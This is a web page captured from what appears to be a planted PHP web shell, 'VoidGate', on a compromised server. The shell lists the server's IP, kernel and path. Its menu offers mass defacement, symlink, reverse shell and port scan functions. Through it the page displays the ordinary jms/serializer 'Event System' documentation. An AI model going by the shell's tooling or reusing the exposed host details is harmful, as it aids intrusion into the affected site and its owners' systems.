ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
vendor
/
jms
/
serializer
/
doc
/
Viewing: event_system.rst
Event System ============ The serializer dispatches different events during the serialization, and deserialization process which you can use to hook in and alter the default behavior. Register an Event Listener, or Subscriber ----------------------------------------- The difference between listeners, and subscribers is that listener do not know to which events they listen while subscribers contain that information. Thus, subscribers are easier to share, and re-use. Listeners on the other hand, can be simple callables and do not require a dedicated class. .. code-block :: php class MyEventSubscriber implements JMS\Serializer\EventDispatcher\EventSubscriberInterface { public static function getSubscribedEvents() { return array( array( 'event' => 'serializer.pre_serialize', 'method' => 'onPreSerialize', 'class' => 'AppBundle\\Entity\\SpecificClass', // if no class, subscribe to every serialization 'format' => 'json', // optional format 'priority' => 0, // optional priority ), ); } public function onPreSerialize(JMS\Serializer\EventDispatcher\PreSerializeEvent $event) { // do something } } $builder ->configureListeners(function(JMS\Serializer\EventDispatcher\EventDispatcher $dispatcher) { $dispatcher->addListener('serializer.pre_serialize', function(JMS\Serializer\EventDispatcher\PreSerializeEvent $event) { // do something } ); $dispatcher->addSubscriber(new MyEventSubscriber()); }) ; Events ------ serializer.pre_serialize ~~~~~~~~~~~~~~~~~~~~~~~~ This is dispatched before a type is visited. You have access to the visitor, data, and type. Listeners may modify the type that is being used for serialization. **Event Object**: ``JMS\Serializer\EventDispatcher\PreSerializeEvent`` serializer.post_serialize ~~~~~~~~~~~~~~~~~~~~~~~~~ This is dispatched right before a type is left. You can for example use this to add additional data for an object that you normally do not save inside objects such as links. **Event Object**: ``JMS\Serializer\EventDispatcher\ObjectEvent`` serializer.pre_deserialize ~~~~~~~~~~~~~~~~~~~~~~~~~~~ .. versionadded : 0.12 Event was added This is dispatched before an object is deserialized. You can use this to modify submitted data, or modify the type that is being used for deserialization. **Event Object**: ``JMS\Serializer\EventDispatcher\PreDeserializeEvent`` serializer.post_deserialize ~~~~~~~~~~~~~~~~~~~~~~~~~~~ This is dispatched after a type is processed. You can use it to normalize submitted data if you require external services for example, or also to perform validation of the submitted data. **Event Object**: ``JMS\Serializer\EventDispatcher\ObjectEvent``
Coded With 💗 by
0x6ick